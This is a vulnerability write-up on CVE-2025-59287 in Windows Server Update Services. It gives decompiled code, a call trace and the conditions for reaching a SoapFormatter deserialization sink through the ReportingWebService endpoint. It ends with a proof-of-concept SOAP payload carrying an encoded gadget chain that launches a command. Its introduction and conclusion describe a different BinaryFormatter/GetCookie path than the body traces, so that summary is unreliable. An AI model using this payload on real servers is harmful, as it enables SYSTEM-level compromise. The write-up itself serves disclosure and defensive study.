CVE-2025-59287 — WSUS Unauthenticated Remote Code Execution
Since my previous write-up was about CVE-2023-35317, I resumed the investigation and the results indeed indicate an unauthenticated remote code execution (unauth RCE)
In this study, we will examine a critical vulnerability (CVE-2025-59287) discovered in the Microsoft Windows Server Update Services (WSUS) environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie() endpoint, where encrypted cookie data is decrypted using AES-128-CBC and subsequently deserialized through BinaryFormatter without proper type validation, enabling remote code execution with SYSTEM privileges.
CVE-2025-59287 / 9.8
Windows Server Update Services (WSUS) Overview | Microsoft Learn
What is WSUS?
WSUS (Windows Server Update Services) is a Microsoft tool that allows IT administrators to manage and distribute updates for Windows systems. WSUS clients communicate with the WSUS server over the web to receive updates and stay secure.
Deserialize
public static object DeserializeObject(byte[] bytes)
{
SoapFormatter soapFormatter = new SoapFormatter();
soapFormatter.Binder = new WSUSDeserializationBinder("Microsoft.UpdateServices.Administration");
if (bytes == null)
{
throw new ArgumentNullException("bytes");
}
MemoryStream memoryStream = new MemoryStream(bytes);
return soapFormatter.Deserialize(memoryStream);
}
Vulnerability Flow:
In the previous post, my dear friend was BinaryFormatter
now its SoapFormatter
:D
What happens in the GetEventHistory
method?
- Specific data in the
tbEventInstance
table is checked. - Then it passes the data to the SubscriptionEvent method, which in turn forwards it to the
PopulateSubscriptionEventProperties
method
PopulateSubscriptionEventProperties
protected virtual void PopulateSubscriptionEventProperties()
...
try
{
this.administrator = BaseEvent.GetKeyValue("Administrator", base.Row.MiscData);
}
catch (Exception ex)
{
if (ex is ArgumentException || ex is FormatException || ex is OverflowException)
{
throw new ArgumentException(LocalizedStrings.GetString(Constants.CannotFindOrProcessSubscriptionEventValueError, new object[] { "Administrator" }), "row", ex);
}
throw;
}
try
...
{
string text2 = string.Empty;
try
{
text2 = BaseEvent.GetKeyValue("SynchronizationUpdateErrorsKey", base.Row.MiscData);
}
catch (ArgumentException)
{
text2 = string.Empty;
}
if (text2.Length == 0)
{
this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
}
else
{
try
{
this.updateErrors = (SynchronizationUpdateErrorInfoCollection)BaseEvent.ConvertXmlToObject(text2);
}
catch (XmlException)
{
this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
}
catch (SerializationException)
{
this.updateErrors = new SynchronizationUpdateErrorInfoCollection();
}
}
}
catch (ArgumentException ex3)
{
throw new ArgumentException(LocalizedStrings.GetString(Constants.CannotFindOrProcessSubscriptionEventValueError, new object[] { "UpdateErrors" }), "row", ex3);
}
}
In this method, certain validations are performed on the incoming data. One of the most important checks involves the MiscData column in the tbEventInstance table, which is where we could specify the gadget that will be sent for deserialization.
base.Row
must be valid:NamespaceId 2
, EventId must be among the subscriptionEvents, and StateId must be 323, 324, or 325 (otherwise the method throws an ArgumentException early).BaseEvent.GetKeyValue("SynchronizationUpdateErrorsKey", base.Row.MiscData)
must successfully return a value (i.e., it should not throw an ArgumentException).- The returned value (text2) must not be an empty string (text2.Length > 0).
text2
must be a valid XML, and when passed toBaseEvent.ConvertXmlToObject(text2)
, it should deserialize into a SynchronizationUpdateErrorInfoCollection object.
Trace
Microsoft.UpdateServices.Internal.SoapUtilities.DeserializeObject(byte[]) : object @06000158
Used By
Microsoft.UpdateServices.Internal.BaseApi.BaseEvent.ConvertXmlToObject(string) : object @060003B8
Used By
Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.PopulateSubscriptionEventProperties() : void @06000552
Overridden By
Used By
Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.SubscriptionEvent(EventHistoryTableRow) : void @06000544
Used By
Microsoft.UpdateServices.Internal.BaseApi.SubscriptionEvent.GetEventHistory(DateTime, DateTime, UpdateServer) : SubscriptionEventCollection @0600054A
Triggering via Web ?
public bool ReportEventBatch(Microsoft.UpdateServices.Internal.Authorization.Cookie cookie, DateTime clientTime, ReportingEvent[] eventBatch)
{
this.ThrowIfNotAcceptingEvents();
bool flag = false;
if (this.ValidateEventBatch(eventBatch))
{
try
{
ReportingServer instance = ReportingServer.Instance;
UnencryptedCookieData unencryptedCookieData = this.PerformValidation(cookie, instance);
if (unencryptedCookieData != null)
{
string text = unencryptedCookieData.ClientIds[0];
Guid guid = ComputerTargetGroupId.UnassignedComputers;
foreach (Guid guid2 in unencryptedCookieData.Groups)
{
if (ComputerTargetGroupId.AllComputers != guid2)
{
guid = guid2;
}
}
foreach (ReportingEvent reportingEvent in eventBatch)
{
reportingEvent.BasicData.TargetId = new ComputerTargetIdentifier(text);
reportingEvent.ExtendedData.TargetGroup = guid;
}
}
if (HttpContext.Current != null && HttpContext.Current.Request != null)
{
string clientIPFromHttpHeader = WebService.config.GetClientIPFromHttpHeader(HttpContext.Current.Request.Headers, HttpContext.Current.Request.UserHostAddress);
for (int i = 0; i < eventBatch.Length; i++)
{
eventBatch[i].ExtendedData.MiscVarChar1 = clientIPFromHttpHeader;
}
}
for (int i = 0; i < eventBatch.Length; i++)
{
eventBatch[i].ExtendedData.Environment = WebService.environment;
}
flag = instance.ReportEventBatch(clientTime, eventBatch);
}
catch (Exception ex)
{
Log.Trace(LogLevel.Error, "Exception occured in ReportEventBatch: {0}", new object[] { ex.Message });
throw;
}
}
return flag;
}
WSUS works with multiple endpoints, some of which are ApiRemoting30
, ClientWebService
, DssAuthWebService
, ReportingWebService
... Our magic endpoint is ReportingWebService
. Here, the client sends a request to /ReportingWebService/ReportingWebService.asmx
and the data is recorded in the database.
Back to the MiscData
part when sending a request, the user must format it according to the expected conditions.
<MiscData>
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey=(SoapFormatter Gadget)</string>
</MiscData>
PoC
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey=<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope></string>
</MiscData>
Conclusion
CVE-2025-59287 is a critical RCE vulnerability in Microsoft Windows Server Update Services (WSUS), caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method. The vulnerability allows an unauthenticated attacker to achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint. Permanent mitigation requires replacing BinaryFormatter with secure serialization mechanisms, implementing strict type validation, and enforcing proper input sanitization on all cookie data.